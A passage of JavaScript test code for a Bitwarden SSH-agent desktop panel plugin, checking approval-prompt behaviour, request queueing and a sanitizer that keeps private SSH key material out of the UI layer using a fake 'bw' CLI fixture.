panelSrc.split("\n").filter(l => l.trim().startsWith("visible:") && l.includes("root.currentScreen")).length === 0,
panelSrc.split("\n").filter(l => l.trim().startsWith("visible:") && l.includes("root.currentScreen")).join(" | "))
check("raising the prompt switches to the approval screen",
/function showSshApproval\(message\)[\s\S]{0,1200}?currentScreen = "sshApproval"/.test(panelSrc),
"the prompt never opens the approval screen")
check("a request that cannot prompt is denied rather than left hanging",
/message\.type === "approval_required"[\s\S]{0,400}?sshAgentMayPrompt\(\)[\s\S]{0,200}?sshAgentDenyLine/.test(panelSrc),
"a suppressed request is not answered")
// A prompt that opened the panel on the user's behalf should hand the desktop
// back when it is answered -- approved or denied alike. A panel the user had
// already opened is theirs, so answering returns them to the screen they were
// on rather than closing it under them.
check("answering a prompt that opened the panel closes it again",
/function dismissSshApproval\(\)[\s\S]{0,900}?openedForThis && root\.opened\) root\.close\(\)/.test(panelSrc),
"the panel stays open after an answer it opened itself for")
check("whether the panel was already open is captured before opening it",
/function showSshApproval\(message\)[\s\S]{0,900}?sshPromptOpenedPanel = !root\.opened/.test(panelSrc),
"nothing records whether the request opened the panel")
check("a panel the user already had open is restored, not closed",
/function dismissSshApproval\(\)[\s\S]{0,900}?screenBeforeSshApproval/.test(panelSrc),
"answering does not restore the previous screen")
check("a withdrawn request takes its prompt down",
/message\.type === "request_cancelled"[\s\S]{0,900}?dismissSshApproval\(\)/.test(panelSrc),
"request_cancelled is ignored")
// The approval decision depends on the key identity and the requesting
// program, both known before the vault read finishes. Waiting for the read
// and only then asking is delay with nothing behind it.
check("unlocking promotes the held request straight to an approval",
/function promoteUnlockToApproval\(\)[\s\S]{0,600}?showSshApproval\(raw\)/.test(panelSrc),
"unlocking never promotes the held request")
check("the promotion happens as soon as the vault unlocks",
/onStatusChanged:[\s\S]{0,200}?promoteUnlockToApproval\(\)/.test(panelSrc),
"nothing promotes on unlock")
// The panel root reaches the screens as `root` and the extracted files as
// `panel`, so the object is matched either way -- a check pinned to one of
// them starts passing or failing on which file the markup sits in.
check("the approval prompt says keys are still loading",
/visible: (?:root|panel)\.sshAgentLoadActive[\s\S]{0,200}?sshAgentLoadingNote\(\)/.test(panelSrc),
"the prompt does not say the keys are still on their way")
check("the held request stays on screen while keys load",
/sshAgentLoadingNote\(\)/.test(panelSrc), "nothing tells the user keys are loading")
check("the loading state is driven by the load actually being in flight",
/sshUnlockRequest[\s\S]{0,600}?sshAgentLoadActive|sshAgentLoadActive[\s\S]{0,600}?sshUnlockRequest/.test(panelSrc),
"the loading state is not tied to a real load")
check("the setting reaches the companion on handshake and on change",
/onSshAgentUnlockOnDemandChanged: sendSshAgentOptions\(\)/.test(panelSrc)
&& /if \(sshAgentGateOpen\) sendSshAgentOptions\(\)/.test(panelSrc),
"unlock-on-demand never reaches the companion")
check("an identity listing is not promoted into an approval",
/reason === "list-identities"/.test(panelSrc),
"a listing would be turned into a signature approval")
check("an unlock request is shown with its context",
/message\.type === "unlock_required"/.test(panelSrc), "unlock_required is ignored")
check("grants are tracked from the companion",
/message\.type === "grants_changed"/.test(panelSrc), "grants_changed is ignored")
check("denying is wired to the deny line",
/sshAgentDenyLine\(/.test(panelSrc), "nothing sends deny")
check("approving once is wired",
/sshAgentApproveLine\(/.test(panelSrc), "nothing sends approve")
check("grants can be revoked individually and together",
/sshAgentRevokeGrantLine\(/.test(panelSrc) && /sshAgentRevokeGrantsLine\(/.test(panelSrc),
"grant revocation is not wired")
check("a locked screen suppresses the prompt",
/sshAgentShouldPrompt\(/.test(panelSrc), "the screen-lock rule is not applied")
check("the cooldown is surfaced in the panel rather than failing silently",
/sshAgentCooldownStatus\(/.test(panelSrc), "the cooldown is never shown to the user")
check("entering the cooldown is announced once, not on every refusal",
/sshCooldownAnnounced/.test(panelSrc), "nothing announces the cooldown")
check("a request the cooldown refuses does not feed the cooldown",
/!sshAgentMayPrompt\(\)\)\s*\{\s*sshAgentWrite\(Model\.sshAgentDenyLine\(message\.requestId\)\)\s*return/.test(panelSrc),
"a suppressed request records an outcome, so a busy process can hold the cooldown open")
// SSH_AUTH_SOCK is fixed at login, so it says what routing *was*. A session
// that started routed keeps reporting "matches" after the file is deleted,
// which is precisely the window in which a warning would still be useful --
// the notice therefore has to read the file, not the environment.
const routed = { state: "matches" }
eq("a deleted fragment is caught even while this session still points here",
Model.sshAgentRoutingNotice({ state: "absent" }, routed).urgent, true)
check("and it says the next login is what breaks",
/next login/.test(Model.sshAgentRoutingNotice({ state: "absent" }, routed).text),
Model.sshAgentRoutingNotice({ state: "absent" }, routed).text)
eq("a foreign file is called out too",
Model.sshAgentRoutingNotice({ state: "foreign" }, routed).urgent, true)
eq("a managed fragment in a routed session says nothing",
Model.sshAgentRoutingNotice({ state: "managed" }, routed).text, "")
check("a managed fragment in an unrouted session explains the wait",
/next login/.test(Model.sshAgentRoutingNotice({ state: "managed" }, { state: "elsewhere" }).text),
"a freshly written fragment does not explain why nothing changed yet")
eq("and that is information, not a fault",
Model.sshAgentRoutingNotice({ state: "managed" }, { state: "elsewhere" }).urgent, false)
for (const quiet of ["unknown", "no-home"]) {
eq(`a ${quiet} fragment leaves the routing section to explain itself`,
Model.sshAgentRoutingNotice({ state: quiet }, routed).text, "")
}
eq("a missing record says nothing rather than throwing",
Model.sshAgentRoutingNotice(null, null).text, "")
check("the routing notice precedes the routing section",
/sshRoutingNotice\.text[\s\S]{0,500}?text: "CLIENT ROUTING"/.test(panelSrc),
"the routing notice does not precede the routing section")
check("re-enabling the agent restores the routing file it removed on disable",
/uwsmRestorePending = true[\s\S]{0,1200}?function applyUwsmRestore\(\)[\s\S]{0,600}?beginUwsmSetup\(\)/.test(panelSrc),
"disabling removes the routing file and enabling never puts it back")
check("but never over a file it did not write, or another session's agent",
/uwsmFragment\.state !== "absent" \|\| sshRouting\.state === "elsewhere"[\s\S]{0,40}?return/.test(panelSrc),
"the restore overrules a foreign routing file or an existing agent")
check("and routing is reachable before the approvals list",
panelSrc.indexOf('text: "CLIENT ROUTING"') < panelSrc.indexOf('text: "ACTIVE APPROVALS"'),
"approvals still push routing down the screen")
// `omarchy plugin remove` has no uninstall hook, so the last moment this code
// can run is while the plugin is still installed. What it misses becomes a
// command the user has to type from the README.
const wipe = Model.pluginDataRemoveCommand().join(" ")
for (const [what, needle] of [
["the keyring entries", "secret-tool clear service qs-bitwarden-cli"],
["the learned suggestions", "XDG_STATE_HOME"],
["the exported public keys", "XDG_DATA_HOME"]
]) check(`removal clears ${what}`, wipe.indexOf(needle) >= 0, wipe)
check("and never logs the vault out on its own",
wipe.indexOf("bw logout") < 0 && wipe.indexOf("bw ") < 0, wipe)
check("nor touches the shell's own settings file",
wipe.indexOf("shell.json") < 0, wipe)
const wiped = Model.parsePluginDataRemoval(0, "removed keyring state data")
eq("a full removal reports success", wiped.ok, true)
check("and names what went", /keyring|suggestions|public keys/.test(wiped.message), wiped.message)
check("and says the vault survived it", /vault/i.test(wiped.message), wiped.message)
eq("nothing to remove is still a success",
Model.parsePluginDataRemoval(0, "removed").ok, true)
check("and says so plainly",
/nothing/i.test(Model.parsePluginDataRemoval(0, "removed").message),
Model.parsePluginDataRemoval(0, "removed").message)
eq("a missing HOME is a failure, not a silent no-op",
Model.parsePluginDataRemoval(3, "").ok, false)
eq("and so is any other non-zero exit", Model.parsePluginDataRemoval(1, "").ok, false)
check("removing plugin data is confirmed before it happens",
/pluginDataConfirmPending = true[\s\S]{0,200}?return/.test(panelSrc),
"the first click wipes stored data with no confirmation")
check("and a cleared keyring is not still believed to hold a password",
/parsePluginDataRemoval[\s\S]{0,400}?fingerprintStored = false/.test(panelSrc),
"the panel still thinks a deleted master password is stored")
// A pid is noise on a prompt: it is gone by the time anyone could look it up,
// and it is deliberately not part of what a grant matches on -- so showing it
// implies a scope the approval does not have.
for (const [what, src] of [["the approval prompt", approvalSrc], ["the settings screen", settingsSrc]])
check(`${what} does not show a pid`, !/\bpid\b/.test(src), `${what} still renders a pid`)
check("the unlock prompt does not either", !/sshUnlockRequest\.pid/.test(panelSrc),
"the unlock prompt still renders a pid")
check("a development helper is called out wherever the user is",
/sshAgentHelper\.source === "development"[\s\S]{0,900}?sshAgentDevelopmentHelperWarning\(/.test(panelSrc),
"nothing warns that an unverified helper is serving keys")
check("the diagnostics say which helper is running and whether it was verified",
/helperSource: root\.sshAgentHelper\.source[\s\S]{0,200}?helperChecksum: root\.sshAgentHelper\.checksum/.test(panelSrc),
"sshAgentStatus cannot tell a shipped helper from a local build")
check("and what the panel believes about client routing",
/routingFragment: root\.uwsmFragment\.state[\s\S]{0,200}?routingNotice: root\.sshRoutingNotice\.text !== ""/.test(panelSrc),
"routing state cannot be read without squinting at the panel")
check("and why inspection rejected one, which errorCode never carries",
/helperState: root\.sshAgentHelper\.state/.test(panelSrc),
"sshAgentStatus reports an error state without naming it")
check("a running cooldown can be ended from the panel",
/function resumeSshSigning\(\)[\s\S]{0,300}?sshAgentCooldownAfter\(root\.sshCooldown, "resumed"/.test(panelSrc),
"nothing ends the cooldown early, so it cannot be escaped")
check("and the control that does it sits on the banner explaining the outage",
/sshCooldownStatus\.active[\s\S]{0,1600}?resumeSshSigning\(\)/.test(panelSrc),
"the resume control is not on the cooldown banner")
check("repeated denials enter the cooldown",
/sshAgentCooldownAfter\(/.test(panelSrc) && /sshAgentCooldownActive\(/.test(panelSrc),
"the cooldown is not applied")
check("escape denies rather than silently dismissing",
/sshApproval[\s\S]{0,900}?denySshRequest\(/.test(panelSrc), "escape does not deny")
check("the key name is rendered literally by a PlainText control",
/Text\s*\{[\s\S]{0,180}?textFormat:\s*Text\.PlainText[\s\S]{0,180}?(?:root|panel)\.sshPrompt\.keyName(?![A-Za-z0-9_])/
.test(panelSrc),
"the key name is not pinned to plain text")
// -------------------------------------------------------------------------
// Opt-in centered approval surface
// -------------------------------------------------------------------------
check("the panel reads the centered popup setting",
/readonly property bool sshAgentApprovalPopup:[^\n]*boolSetting\("sshAgentApprovalPopup"/.test(panelSrc),
"sshAgentApprovalPopup never reaches Panel.qml")
check("the popup is an overlay layer surface centered independently of the bar",
/PanelWindow\s*\{/.test(popupSrc)
&& /anchors\s*\{\s*top:\s*true\s*bottom:\s*true\s*left:\s*true\s*right:\s*true/.test(popupSrc)
&& /WlrLayer\.Overlay/.test(popupSrc)
&& /ExclusionMode\.Ignore/.test(popupSrc)
&& /namespace:\s*"qs-bitwarden-ssh-approval"/.test(popupSrc),
"the popup is not a full-screen, non-exclusive overlay layer surface")
check("the popup follows the panel's monitor",
/screen:[^\n]*anchorItem\.QsWindow\.window\.screen/.test(popupSrc),
"the popup has no screen affinity")
check("the popup exists only for opted-in pending SSH work",
/sshAgentApprovalPopup\s*&&\s*\(panel\.sshPrompt !== null \|\| panel\.sshUnlockRequest !== null\)/.test(popupSrc),
"the popup is not gated by both the setting and a pending request")
check("popup mode leaves the anchored panel closed for approvals",
/function showSshApproval\(message\)[\s\S]{0,900}?if \(root\.sshAgentApprovalPopup\)[\s\S]{0,240}?return/.test(panelSrc),
"showSshApproval always opens the panel")
check("popup mode leaves the anchored panel closed for unlock requests",
/message\.type === "unlock_required"[\s\S]{0,1400}?if \(root\.sshAgentApprovalPopup\)[\s\S]{0,240}?return/.test(panelSrc),
"unlock_required always opens the panel")
check("changing presentation mode cannot strand a live request off-screen",
/onSshAgentApprovalPopupChanged:[\s\S]{0,900}?sshPrompt \|\| root\.sshUnlockRequest[\s\S]{0,900}?root\.open\(\)/.test(panelSrc),
"turning popup mode off during a request leaves no visible approval surface")
check("the popup moves from unlock to approval without changing windows",
/SshUnlockScreen\s*\{/.test(popupSrc) && /SshApprovalScreen\s*\{/.test(popupSrc),
"unlock and approval are not hosted by one popup")
check("the popup unlock screen names the prerequisite",
/vault needs to be unlocked first/i.test(unlockSrc),
"the popup does not explain why it appeared")
check("the popup can submit every configured unlock method",
/unlockVault\(/.test(unlockSrc)
&& /submitPinUnlock\(/.test(unlockSrc)
&& /startFingerprintUnlock\(/.test(unlockSrc),
"password, PIN, or fingerprint is missing from the popup")
check("background click and Escape explicitly deny the pending request",
/MouseArea[\s\S]{0,500}?onClicked:\s*popup\.panel\.denySshRequest\(\)/.test(popupSrc)
&& /Qt\.Key_Escape[\s\S]{0,160}?denySshRequest\(\)/.test(popupSrc),
"the modal can disappear without answering the helper")
check("approval defaults keyboard focus to Deny",
/id:\s*denyButton/.test(approvalSrc)
&& /function focusDefault\(\)[\s\S]{0,120}?denyButton\.forceActiveFocus\(\)/.test(approvalSrc),
"an approval can receive accidental affirmative focus")
check("hidden panel fields cannot steal focus from the popup",
/function focusAppropriateField\(\)[\s\S]{0,120}?if \(sshApprovalPopupOpen\) return/.test(panelSrc),
"status and unlock handlers can focus an input in the closed panel")
check("approval actions opt into keyboard focus",
(approvalSrc.match(/focusable:\s*true/g) || []).length >= 2,
"approval buttons cannot be reached by Tab")
check("popup unlock is accepted while the anchored panel is closed",
/readonly property bool sshAuthSurfaceActive:\s*opened \|\| sshApprovalPopupOpen/.test(panelSrc)
&& /function prepareUnlock\(\)[\s\S]{0,180}?!sshAuthSurfaceActive/.test(panelSrc),
"unlock handlers still require root.opened")
check("closing the transient popup clears authentication state",
/function clearSshPopupUnlockState\(\)[\s\S]{0,700}?masterPassword = ""/.test(panelSrc)
&& /function dismissSshApproval\(\)[\s\S]{0,900}?clearSshPopupUnlockState\(\)/.test(panelSrc),
"password/PIN state can survive a dismissed popup")
// -------------------------------------------------------------------------
// Concurrent request queueing
// -------------------------------------------------------------------------
let q = []
q = Model.sshAgentEnqueuePrompt(q, { requestId: 1, keyName: "key1" }, 4)
eq("enqueues first item", q.length, 1)
q = Model.sshAgentEnqueuePrompt(q, { requestId: 2, keyName: "key2" }, 4)
eq("enqueues second item", q.length, 2)
q = Model.sshAgentEnqueuePrompt(q, { requestId: 2, keyName: "key2" }, 4)
eq("ignores duplicate requestId", q.length, 2)
q = Model.sshAgentEnqueuePrompt(q, { requestId: 3 }, 4)
q = Model.sshAgentEnqueuePrompt(q, { requestId: 4 }, 4)
q = Model.sshAgentEnqueuePrompt(q, { requestId: 5 }, 4)
eq("respects queue capacity cap", q.length, 4)
eq("pending count includes active and queued", Model.sshAgentPendingCount({ requestId: 0 }, q), 5)
eq("pending count with no active", Model.sshAgentPendingCount(null, q), 4)
eq("pending count with no queue", Model.sshAgentPendingCount({ requestId: 0 }, []), 1)
let deq = Model.sshAgentDequeuePrompt(q)
eq("dequeues first item", deq.next.requestId, 1)
eq("remaining queue length is decremented", deq.remaining.length, 3)
let emptyDeq = Model.sshAgentDequeuePrompt([])
eq("empty dequeue next is null", emptyDeq.next, null)
eq("empty dequeue remaining is empty", emptyDeq.remaining.length, 0)
let removed = Model.sshAgentRemovePrompt(q, 3)
eq("removes targeted requestId", removed.length, 3)
eq("requestId 3 is absent", removed.some(x => x.requestId === 3), false)
check("the panel declares an SSH prompt queue",
/property var sshPromptQueue:\s*\[\]/.test(panelSrc),
"sshPromptQueue is missing from Panel.qml")
check("the panel declares total pending counts",
/readonly property int sshPendingCount:/.test(panelSrc)
&& /readonly property int sshUnlockPendingCount:/.test(panelSrc),
"sshPendingCount or sshUnlockPendingCount is missing")
check("multiple concurrent approval requests are queued",
/root\.sshPromptQueue = Model\.sshAgentEnqueuePrompt\(root\.sshPromptQueue, message, 4\)/.test(panelSrc),
"concurrent approvals are not queued")
check("multiple concurrent unlock requests are queued",
/root\.sshUnlockQueue = Model\.sshAgentEnqueuePrompt\(root\.sshUnlockQueue, message, 4\)/.test(panelSrc),
"concurrent unlocks are not queued")
check("advancing an approval dequeues the next prompt",
/function advanceSshPrompt\(\)[\s\S]{0,400}?Model\.sshAgentDequeuePrompt\(root\.sshPromptQueue\)/.test(panelSrc),
"advanceSshPrompt does not dequeue from sshPromptQueue")
check("advancing an unlock dequeues the next unlock request",
/function advanceSshUnlock\(\)[\s\S]{0,400}?Model\.sshAgentDequeuePrompt\(root\.sshUnlockQueue\)/.test(panelSrc),
"advanceSshUnlock does not dequeue from sshUnlockQueue")
check("deny all rejects active and queued requests",
/function denyAllSshRequests\(\)[\s\S]{0,900}?sshPromptQueue[\s\S]{0,600}?sshUnlockQueue[\s\S]{0,600}?dismissSshApproval\(\)/.test(panelSrc),
"denyAllSshRequests is missing or does not clear queues")
check("approval screen displays 1 of N when multiple requests are queued",
/text:\s*"1 of "\s*\+\s*panel\.sshPendingCount/.test(approvalSrc),
"approval screen does not display queue counter")
check("approval screen provides a Deny all button when multiple requests exist",
/text:\s*"Deny all \("\s*\+\s*panel\.sshPendingCount\s*\+\s*"\)"/.test(approvalSrc),
"approval screen is missing Deny all button")
check("popup accepts Shift+Escape to deny all requests",
/event\.modifiers\s*&\s*Qt\.ShiftModifier[\s\S]{0,120}?popup\.panel\.denyAllSshRequests\(\)/.test(popupSrc),
"popup does not handle Shift+Escape for deny all")
if (failures.length) {
console.error(`\n${failures.length} failed, ${pass} passed\n`)
failures.forEach(f => console.error(` FAIL ${f}`))
process.exit(1)
}
console.log(`ssh-agent-ui: ${pass} passed`)
@@ -0,0 +1,337 @@
#!/usr/bin/env node
// `bw list items` returns every decrypted cipher field. Before QML sees that
// stream, supported ordinary items must be allowlisted and SSH keys reduced to
// public metadata. These tests execute the real shell/jq pipeline with a fake
// `bw`, so they cover the process boundary rather than a second JS sanitizer.
//
// node tests/ssh-items.test.js
const fs = require("fs")
const os = require("os")
const path = require("path")
const { spawnSync } = require("child_process")
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.sanitizedListCommand = sanitizedListCommand
`)(Model)
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
const PRIVATE_MARKER = "SSH_PRIVATE_MARKER_must_not_reach_QML"
const UNKNOWN_MARKER = "UNKNOWN_TYPE_MARKER_must_not_reach_QML"
const STDERR_MARKER = "BW_STDERR_MARKER_must_not_reach_QML"
const FILTER_STDERR_MARKER = "JQ_STDERR_MARKER_must_not_reach_QML"
const MAX_ITEMS_BYTES = 16 * 1024 * 1024
const MAX_STDERR_BYTES = 8192
const SAFE_DIAGNOSTIC = "Could not safely read vault items.\n"
const fixture = [
{ object: "item", id: "login-1", type: 1, name: "Login", favorite: true,
login: { username: "me", password: "ordinary-login-secret" } },
{ object: "item", id: "note-1", type: 2, name: "Note", secureNote: { type: 0 } },
{ object: "item", id: "card-1", type: 3, name: "Card", card: { number: "4111111111111111" } },
{ object: "item", id: "identity-1", type: 4, name: "Identity", identity: { email: "me@example.com" } },
{ object: "item", id: "ssh-1", type: 5, name: "Work SSH", organizationId: "org-1",
folderId: "folder-1", favorite: false, reprompt: 1, notes: "not public",
sshKey: { privateKey: PRIVATE_MARKER, publicKey: "ssh-ed25519 AAAATEST",
fingerprint: "SHA256:public-fingerprint", extra: "not public either" } },
{ object: "item", id: "bank-1", type: 6, name: "Bank",
bankAccount: { accountNumber: UNKNOWN_MARKER } },
{ object: "item", id: "licence-1", type: 7, name: "Licence", notes: UNKNOWN_MARKER },
{ object: "item", id: "passport-1", type: 8, name: "Passport", fields: [{ value: UNKNOWN_MARKER }] }
]
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-ssh-items-"))
const fixturePath = path.join(tempDir, "items.json")
const bwPath = path.join(tempDir, "bw")
fs.writeFileSync(bwPath, [
"#!/bin/bash",
"if [ \"$1\" = \"--version\" ] || [ \"$1\" = \"-v\" ]; then",
" printf '%s\\n' \"${QSBW_BW_VERSION:-2025.1.2}\"",
" exit 0",
"fi",
"if [ -n \"${QSBW_BW_INVOCATIONS:-}\" ]; then printf x >> \"$QSBW_BW_INVOCATIONS\"; fi",
"if [ -n \"${QSBW_BW_STDERR:-}\" ]; then printf '%s' \"$QSBW_BW_STDERR\" >&2; fi",
"cat -- \"$QSBW_FIXTURE\"",
"exit \"${QSBW_BW_EXIT:-0}\"",
""
].join("\n"), { mode: 0o755 })
const command = Model.sanitizedListCommand()
const commandText = command.join(" ")
const testEnv = Object.assign({}, process.env, {
PATH: tempDir + path.delimiter + process.env.PATH,
QSBW_FIXTURE: fixturePath
})
function categoryIds() {
const block = panelSrc.match(/readonly property var categories: \[([\s\S]*?)\n \]/)
return block ? Array.from(block[1].matchAll(/\{\s*id:\s*"([^"]+)"/g), m => m[1]) : []
}
function visibleFilterRows() {
const match = panelSrc.match(/readonly property int filterVisibleRows:\s*(\d+)/)
return match ? Number(match[1]) : 0
}
function typeDrawerShowsAllRows() {
return /readonly property int currentFilterVisibleRows:[\s\S]*openFilterGroup === "types"[\s\S]*currentFilterOptions\.length/.test(panelSrc)
&& /Math\.min\(currentFilterVisibleRows,\s*currentFilterOptions\.length\)/.test(panelSrc)
}
function runFixture(contents, envOverrides) {
fs.writeFileSync(fixturePath, contents)
return spawnSync(command[0], command.slice(1), {
env: Object.assign({}, testEnv, envOverrides || {}),
encoding: "utf8",
maxBuffer: 20 * 1024 * 1024
})
}
try {
const ids = categoryIds()
const sshIndex = ids.indexOf("sshKey")
const visibleRows = visibleFilterRows()
check("type filters are ordered by Bitwarden type id with synthetic filters at the edges",
ids.join(",") === "all,login,secureNote,card,identity,sshKey,favorite",
JSON.stringify({ categoryIds: ids }))
check("the SSH type filter is visible without scrolling",
sshIndex >= 0 && (sshIndex < visibleRows || typeDrawerShowsAllRows()),
JSON.stringify({ visibleRows, typeDrawerShowsAllRows: typeDrawerShowsAllRows(), categoryIds: ids }))
check("the SSH type filter is offered only when the CLI supports SSH keys",
/readonly property bool sshUiAvailable: Model\.sshUiAvailable\(dependencies, depsChecked\)/.test(panelSrc)
&& /readonly property var visibleCategories[\s\S]{0,200}category\.id !== "sshKey"/.test(panelSrc)
&& /group === "types"[\s\S]{0,200}visibleCategories\.length/.test(panelSrc)
&& !/group === "types"[\s\S]{0,200}categories\[i\]/.test(panelSrc),
"the types filter drawer does not follow the CLI-gated category list")
check("an unconfirmed SSH capability reads differently from an empty vault",
/function emptyListMessage\(\)[\s\S]{0,400}sshCapability\.state === "unconfirmed"[\s\S]{0,120}sshCapability\.message/.test(panelSrc)
&& /text: root\.isLoading && root\.items\.length === 0[\s\S]{0,120}root\.emptyListMessage\(\)/.test(panelSrc),
"the empty list cannot distinguish an unconfirmed server from an empty vault")
check("search help says SSH public fields are searchable",
/placeholderText:\s*"[^"]*(public keys|fingerprints)[^"]*"/i.test(panelSrc),
"search placeholder does not mention public keys or fingerprints")
check("the detail delete shortcut is guarded for read-only SSH items",
/lower === "x"[\s\S]{0,120}detailItem[\s\S]{0,120}typeCode !== 5[\s\S]{0,120}showDeleteConfirm = true/.test(panelSrc),
"detail shortcut x can open delete confirmation for SSH")
check("the sanitizer is a bounded bash pipeline",
command[0] === "bash" && command[1] === "-c"
&& commandText.includes("node -e")
&& commandText.includes("jq -c")
&& commandText.includes("BW_NOINTERACTION=true")
&& (commandText.match(/head -c 16777217/g) || []).length === 2,
commandText)
check("the static command carries no fixture secret",
!commandText.includes(PRIVATE_MARKER) && !commandText.includes(UNKNOWN_MARKER), commandText)
const valid = runFixture(JSON.stringify(fixture))
check("a valid vault read succeeds", valid.status === 0,
`exit=${valid.status} stderr=${JSON.stringify(valid.stderr)}`)
let parsed = null
try { parsed = JSON.parse(valid.stdout) } catch (e) {}
check("the sanitizer emits one items/sshKeys document",
parsed && Array.isArray(parsed.items) && Array.isArray(parsed.sshKeys), valid.stdout.slice(0, 500))
check("types 1-4 remain intact",
parsed && JSON.stringify(parsed.items) === JSON.stringify(fixture.slice(0, 4)),
parsed ? JSON.stringify(parsed.items) : "no parsed output")
check("only type 5 receives a public projection",
parsed && JSON.stringify(parsed.sshKeys) === JSON.stringify([{
id: "ssh-1", name: "Work SSH", type: 5, organizationId: "org-1",
folderId: "folder-1", favorite: false, reprompt: 1,
publicKey: "ssh-ed25519 AAAATEST", fingerprint: "SHA256:public-fingerprint"
}]), parsed ? JSON.stringify(parsed.sshKeys) : "no parsed output")
check("seeing a type-5 item confirms SSH capability in the sanitized envelope",
parsed && parsed.sshCapability === "confirmed",
parsed ? JSON.stringify(parsed) : "no parsed output")
const keyFingerprint = runFixture(JSON.stringify([{
object: "item", id: "ssh-keyfp", type: "5", name: "CLI SSH",
publicKey: "ssh-rsa AAAATEST2", keyFingerprint: "SHA256:key-fingerprint",
sshKey: { privateKey: PRIVATE_MARKER }
}]))
let keyFingerprintParsed = null
try { keyFingerprintParsed = JSON.parse(keyFingerprint.stdout) } catch (e) {}
check("the sanitizer accepts the installed CLI keyFingerprint schema",
keyFingerprint.status === 0
&& keyFingerprintParsed
&& JSON.stringify(keyFingerprintParsed.sshKeys) === JSON.stringify([{
id: "ssh-keyfp", name: "CLI SSH", type: 5, organizationId: null,
folderId: null, favorite: false, reprompt: 0,
publicKey: "ssh-rsa AAAATEST2", fingerprint: "SHA256:key-fingerprint"
}])
&& !keyFingerprint.stdout.includes(PRIVATE_MARKER),
`exit=${keyFingerprint.status} stdout=${JSON.stringify(keyFingerprint.stdout)}`)
const noType5 = runFixture(JSON.stringify(fixture.slice(0, 4)))
let noType5Parsed = null
try { noType5Parsed = JSON.parse(noType5.stdout) } catch (e) {}
check("a read with no type-5 items keeps ordinary items but marks SSH capability unconfirmed",
noType5.status === 0
&& noType5Parsed
&& JSON.stringify(noType5Parsed.items) === JSON.stringify(fixture.slice(0, 4))
&& Array.isArray(noType5Parsed.sshKeys)
&& noType5Parsed.sshKeys.length === 0
&& noType5Parsed.sshCapability === "unconfirmed",
`exit=${noType5.status} stdout=${JSON.stringify(noType5.stdout)}`)
check("zero type-5 keys stay unconfirmed even on official Bitwarden cloud",
noType5.status === 0
&& noType5Parsed
&& noType5Parsed.sshCapability === "unconfirmed",
`exit=${noType5.status} stdout=${JSON.stringify(noType5.stdout)}`)
check("private and unknown-type markers never reach stdout",
!valid.stdout.includes(PRIVATE_MARKER) && !valid.stdout.includes(UNKNOWN_MARKER), valid.stdout)
const crossTyped = runFixture(JSON.stringify([{
object: "item", id: "login-with-ssh", type: 1, name: "Forged",
login: { username: "still-intact", password: "ordinary-login-secret" },
sshKey: { privateKey: PRIVATE_MARKER, publicKey: "not-an-SSH-item" }
}]))
check("a cross-typed ordinary item fails instead of being mutated or leaking SSH data",
crossTyped.status === 1
&& crossTyped.stdout === ""
&& crossTyped.stderr === SAFE_DIAGNOSTIC
&& !crossTyped.stderr.includes(PRIVATE_MARKER),
`exit=${crossTyped.status} stdout=${JSON.stringify(crossTyped.stdout)} stderr=${JSON.stringify(crossTyped.stderr)}`)
const unboundedReprompt = runFixture(
'[{"type":5,"id":"ssh-large-reprompt","reprompt":1e9999,"sshKey":{}}]')
let unboundedRepromptParsed = null
try { unboundedRepromptParsed = JSON.parse(unboundedReprompt.stdout) } catch (e) {}
check("SSH reprompt is normalized to the finite Bitwarden enum",
unboundedReprompt.status === 0
&& unboundedRepromptParsed
&& unboundedRepromptParsed.sshKeys[0].reprompt === 0
&& Number.isFinite(unboundedRepromptParsed.sshKeys[0].reprompt),
`exit=${unboundedReprompt.status} stdout=${JSON.stringify(unboundedReprompt.stdout)}`)
for (const [label, contents] of [
["malformed JSON", "[{not-json"],
["a non-array root", JSON.stringify({ items: fixture })],
["multiple JSON documents", "[]\n[]\n"]
]) {
const result = runFixture(contents)
check(`${label} fails closed`, result.status !== 0 && result.stdout === "",
`exit=${result.status} stdout=${JSON.stringify(result.stdout)} stderr=${JSON.stringify(result.stderr)}`)
}
const malformedSecret = runFixture(
`[{"type":5,"sshKey":{"privateKey":"${PRIVATE_MARKER}"}`)
check("parse diagnostics do not echo malformed private material",
malformedSecret.status !== 0
&& !malformedSecret.stdout.includes(PRIVATE_MARKER)
&& !malformedSecret.stderr.includes(PRIVATE_MARKER),
`stdout=${JSON.stringify(malformedSecret.stdout)} stderr=${JSON.stringify(malformedSecret.stderr)}`)
for (const [label, contents] of [
["a leading-zero number", '[{"type":1,"value":01}]'],
["a NaN value", '[{"type":1,"value":NaN}]'],
["an Infinity value", '[{"type":1,"value":Infinity}]']
]) {
const result = runFixture(contents)
check(`${label} is rejected as non-JSON`, result.status !== 0 && result.stdout === "",
`exit=${result.status} stdout=${JSON.stringify(result.stdout)} stderr=${JSON.stringify(result.stderr)}`)
}
const failedProducer = runFixture("[]", {
QSBW_BW_EXIT: "9",
QSBW_BW_STDERR: STDERR_MARKER.repeat(
Math.ceil((MAX_STDERR_BYTES + 100) / Buffer.byteLength(STDERR_MARKER)))
})
const failedProducerStdout = failedProducer.stdout || ""
const failedProducerStderr = failedProducer.stderr || ""
check("a failed bw read exposes only a bounded static diagnostic",
failedProducer.status === 1
&& failedProducerStdout === ""
&& !failedProducerStderr.includes(STDERR_MARKER)
&& failedProducerStderr === SAFE_DIAGNOSTIC
&& Buffer.byteLength(failedProducerStderr) <= MAX_STDERR_BYTES,
`exit=${failedProducer.status} error=${failedProducer.error || "none"} stdout=${JSON.stringify(failedProducerStdout)} stderr=${JSON.stringify(failedProducerStderr.slice(0, 200))}`)
const malformedOlderCli = runFixture("[]", {
QSBW_BW_VERSION: "2026.7.0",
QSBW_BW_EXIT: "1",
QSBW_BW_STDERR: "TypeError: Cannot read properties of null (reading 'keyFingerprint')"
})
check("bw list failures stay on the exact bounded safe diagnostic with no raw CLI output",
malformedOlderCli.status === 1
&& malformedOlderCli.stdout === ""
&& malformedOlderCli.stderr === SAFE_DIAGNOSTIC
&& !malformedOlderCli.stderr.includes("2026.8.0")
&& !malformedOlderCli.stderr.includes("keyFingerprint")
&& !malformedOlderCli.stderr.includes("TypeError"),
